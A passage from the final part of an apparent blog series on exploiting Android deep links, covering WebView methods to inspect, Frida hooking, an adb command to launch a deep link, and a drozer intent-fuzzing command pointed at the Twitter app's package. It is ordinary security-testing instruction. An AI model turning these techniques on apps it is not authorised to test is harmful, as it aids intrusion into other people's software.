To understand how the app’s WebViews are controlling which URLs are loaded and how, look for:

  • shouldOverrideUrlLoading
  • shouldInterceptRequest

Finally, to see how the data or URIs are being loaded into the app's WebViews, check for any calls to:

  • .loadUrl(
  • .loadData(

Note that, not only are these methods relevant when doing static analysis, you can also "hook" them with Frida when doing dynamic analysis.


Automated Tests and Fuzzing

If you already know which deep link you you want to test, adb is the way to go:

~ adb shell am start -W -a android.intent.action.VIEW -d <url>

where:
-a ~> action
-W ~> wait for launch to complete
-d ~> URL

If you want to build and send a specific Intent URL, you can create a new Android app using Android Studio, as shown below:

Exploiting Deep Links in Android - Part 5 (Testing)

Finally, if you have no idea what you're looking for, maybe give fuzzing a try with drozer's fuzzinozzer module:

dz> run intents.fuzzinozer --complete_test --package com.twitter.android --save_state

And this is it, the end of the road for this series.
Hope you learned something!

]]>